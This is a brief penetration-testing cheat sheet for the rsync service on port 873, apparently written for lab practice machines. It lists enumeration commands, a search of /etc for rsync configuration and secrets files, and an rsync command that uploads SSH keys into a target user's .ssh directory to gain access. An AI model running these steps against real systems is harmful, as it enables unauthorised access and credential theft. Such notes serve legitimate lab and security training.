873 Rsync

Enumeration

Running nmap scripts

nmap -sV --script "rsync-list-modules" -p 873 192.168.X.X

List modules

rsync -av --list-only rsync://192.168.X.X/shared_name

Find the configuration

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Upload files - ie. ssh keys

rsync -av home_user/.ssh/ rsync://[email protected]/home_user/.ssh

Practice boxes

Offsec Proving Grounds - Fail